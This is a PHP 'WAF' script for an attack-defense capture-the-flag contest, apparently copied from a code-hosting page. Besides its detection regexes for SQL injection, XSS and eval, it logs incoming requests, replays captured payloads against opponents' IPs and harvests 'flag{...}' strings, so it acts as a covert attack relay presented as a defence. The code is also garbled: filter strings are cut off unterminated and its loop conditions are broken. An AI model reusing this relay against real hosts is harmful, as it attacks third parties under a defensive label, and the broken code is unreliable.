ctf php fork,CTF_WAF.php

/**CTF—**/

error_reporting(0);

class CTF_WAF{

public $getfilter;

public $postfilter;

public $cookiefilter;

public $orther;

public $url;

public $dir;

public $ip;

public $Waf_switch;

public $resultPage;

public function __construct() {

$this->getfilter = "\\<.>|<.>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|

//post拦截规则

$this->postfilter = "<.>|<.>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|

//cookie拦截规则

$this->cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|

//其他拦截规则

$this->orther ="eval\(.*\)|phpinfo\(\)|assert\(.*\)|\`|\~|\^|

$this->url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

$this->dir = $_SERVER['DOCUMENT_ROOT'].'/'.'waflog/';

$this->ip = [];

$this->read_ip();

$this->resultPage="http://127.0.0.1/";//返回页面

$this->Waf_switch=0;//WAF开关1开启，0关闭

}

public function Flux($Value,$style){

switch ($style) {

case 'post':

if(is_array($Value)){

$Value = http_build_query($Value);

}

$this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Post\",\"time\":\"".time()."\"}\r\n","logs.txt",'post');

$this->Check_Flux($Value, $this->postfilter);

$this->Check_Flux($Value, $this->orther);

break;

case 'get':

if(is_array($Value)){

$Value = http_build_query($Value);

}

$this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Get\",\"time\":\"".time()."\"}\r\n","logs.txt",'get');

$this->Check_Flux($Value, $this->getfilter);

$this->Check_Flux($Value, $this->orther);

break;

default:

if(is_array($Value)){

$Value = http_build_query($Value);

}

$this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Cookie\",\"time\":\"".time()."\"}\r\n","logs.txt",'cookie');

$this->Check_Flux($Value, $this->cookiefilter);

$this->Check_Flux($Value, $this->orther);

break;

}

}

public function read_ip(){

if(!file_exists($this->dir."ip.txt")){

file_put_contents($this->dir."ip.txt", "");

}

$file = fopen($this->dir."ip.txt", "r") or exit("");

while(!feof($file))

{

array_push($this->ip, trim(fgets($file)));

}

fclose($file);

}

public function Check_Flux($Value,$ArrFiltReq){

if($this->Waf_switch==1){

if(is_array($Value)){

$Value=implode($Value);

}

$Value=urldecode($Value);

if (preg_match("/".$ArrFiltReq."/is",$Value)==1){

die(file_get_contents($this->resultPage));

}

}

}

public function Request_Post($data,$url){

if(is_array($data)){

$query = http_build_query($data); //使用给出的关联(或下标)数组生成一个经过 URL-encode 的请求字符串。

}else{

$query = $data;

}

$options['http'] = array(

'timeout'=>60,

'method' => 'POST',

'header' => 'Content-type:application/x-www-form-urlencoded',

'content' => $query

);//构造一个post包

//vardump($options['http'] );_

$context = stream_context_create($options);//创建并返回一个资源流上下文

$result = file_get_contents($url, false, $context);

return $result;

}

public function Request_Get($url){

$result=[];

$result['content'] = file_get_contents($url);

preg_match_all('/\/\/(.*?)\//', $url, $ip);

$result['ip'] = $ip[1][0];

return $result;

}

public function Get_Flag($result){

//var_dump($result);

if(stristr($result['content'],'flag')){

preg_match_all('/flag{(.*?)}/', $result['content'],$flag);

if(!empty($flag[0][0])){

$this->data_to_file("{$result['ip']}\t| ".$flag[0][0]."\r\n","flag.txt",'flag');

}

}

}

public function data_to_file($data,$filename,$style=''){

if(is_array($data)){

$data = implode($data);

}

switch ($style) {

case 'post':

if(!stristr(file_get_contents($this->dir.$filename),$data)){

if(file_exists($this->dir.$filename)){

file_put_contents($this->dir.$filename,"".$data,FILE_APPEND);

}else{

file_put_contents($this->dir.$filename,$data,FILE_APPEND);

}

for($i=0;$iip);$i++){

$this->Get_Flag($this->Request_Post(json_decode(str_replace("\r\n","",$data),true)['value'],'http://'.$this->ip[$i].'/'));

}

}

break;

case 'get':

$js_data = $data;

if(!stristr(file_get_contents($this->dir.$filename),str_replace('http://'.$_SERVER['HTTP_HOST'], '', $data))){

file_put_contents($this->dir.$filename, $js_data ,FILE_APPEND);

for($i=0;$iip);$i++){

$data=str_replace($_SERVER['HTTP_HOST'],$this->ip[$i],json_decode(str_replace("\r\n","",$data),true)['url']);

$this->Get_Flag($this->Request_Get($data));

$data=$js_data ;

}

}

break;

case 'cookie':

if(!stristr(file_get_contents($this->dir.$filename),$data)){

if(file_exists($this->dir.$filename)){

file_put_contents($this->dir.$filename,"".$data,FILE_APPEND);

}else{

file_put_contents($this->dir.$filename,$data,FILE_APPEND);

}

}

break;

case 'flag':

if(!stristr(file_get_contents($this->dir.$filename),$data)){

file_put_contents($this->dir.$filename,$data,FILE_APPEND);

}

break;

}

}

}

/*******************************/

/* 调用WAF */

$waf = new CTF_WAF();

if(isset($_GET)){

$waf->Flux($_GET,'get');

}

if(isset($_POST)){

$waf->Flux($_POST,'post');

}

if(isset($_COOKIE)){

$waf->Flux($_COOKIE,'cookie');

}

一键复制

编辑

Web IDE

原始数据

按行查看

历史